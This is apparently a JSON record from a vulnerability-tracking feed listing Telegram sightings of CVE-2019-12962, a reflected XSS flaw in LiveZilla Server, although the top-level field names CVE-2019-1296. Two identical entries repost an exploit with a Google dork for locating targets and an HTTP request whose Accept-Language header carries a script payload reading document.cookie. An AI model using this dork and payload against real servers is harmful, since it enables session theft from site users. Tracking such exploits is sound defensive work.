{"vulnerability": "CVE-2019-1296", "sightings": [{"uuid": "03c67140-d9b8-49ae-829e-f00b7367b691", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12962", "type": "seen", "source": "https://t.me/arpsyndicate/2773", "content": "#ExploitObserverAlert\n\nCVE-2019-12962\n\nDESCRIPTION: Exploit Observer has 4 entries in 3 file formats related to CVE-2019-12962. LiveZilla Server before 8.0.1.1 is vulnerable to XSS in mobile/index.php via the Accept-Language HTTP header.\n\nFIRST-EPSS: 0.206890000\nNVD-IS: 2.7\nNVD-ES: 2.8", "creation_timestamp": "2024-01-15T09:19:25.000000Z"}, {"uuid": "8caae70e-fa2e-4b92-bce4-78f06878179b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12962", "type": "seen", "source": "https://t.me/hacking_Attack/1854", "content": "Exploit Collector\nLiveZilla Server 8.0.1.0 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nLiveZilla Server version 8.0.1.0 suffers from a cross site scripting vulnerability.\n\nMD5 | b492d9ad7a59417436cdda5f710f0bb7\n\nDownload\n# Exploit Title: LiveZilla Server 8.0.1.0 - 'Accept-Language' Reflected XSS\n# Google Dork: inurl: inurl:/mobile/index.php intitle:LiveZilla\n# Date: 18 Mars 2021\n# Exploit Author: Cl\u00e9ment Cruchet\n# Vendor Homepage: https://www.livezilla.net\n# Software Link: https://www.livezilla.net/downloads/en/\n# Version: LiveZilla Server 8.0.1.0 and before\n# Tested on: Windows/Linux\n# CVE : CVE-2019-12962\n\nGET /mobile/index.php HTTP/1.1\nHost: chat.website.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: ';alert(document.cookie)//\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:50.435486Z"}, {"uuid": "c74ab8ee-f8c5-4cc6-bcc2-256925925a10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12962", "type": "seen", "source": "https://t.me/hacking_Attack/1854", "content": "Exploit Collector\nLiveZilla Server 8.0.1.0 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nLiveZilla Server version 8.0.1.0 suffers from a cross site scripting vulnerability.\n\nMD5 | b492d9ad7a59417436cdda5f710f0bb7\n\nDownload\n# Exploit Title: LiveZilla Server 8.0.1.0 - 'Accept-Language' Reflected XSS\n# Google Dork: inurl: inurl:/mobile/index.php intitle:LiveZilla\n# Date: 18 Mars 2021\n# Exploit Author: Cl\u00e9ment Cruchet\n# Vendor Homepage: https://www.livezilla.net\n# Software Link: https://www.livezilla.net/downloads/en/\n# Version: LiveZilla Server 8.0.1.0 and before\n# Tested on: Windows/Linux\n# CVE : CVE-2019-12962\n\nGET /mobile/index.php HTTP/1.1\nHost: chat.website.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: ';alert(document.cookie)//\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:26.193542Z"}]}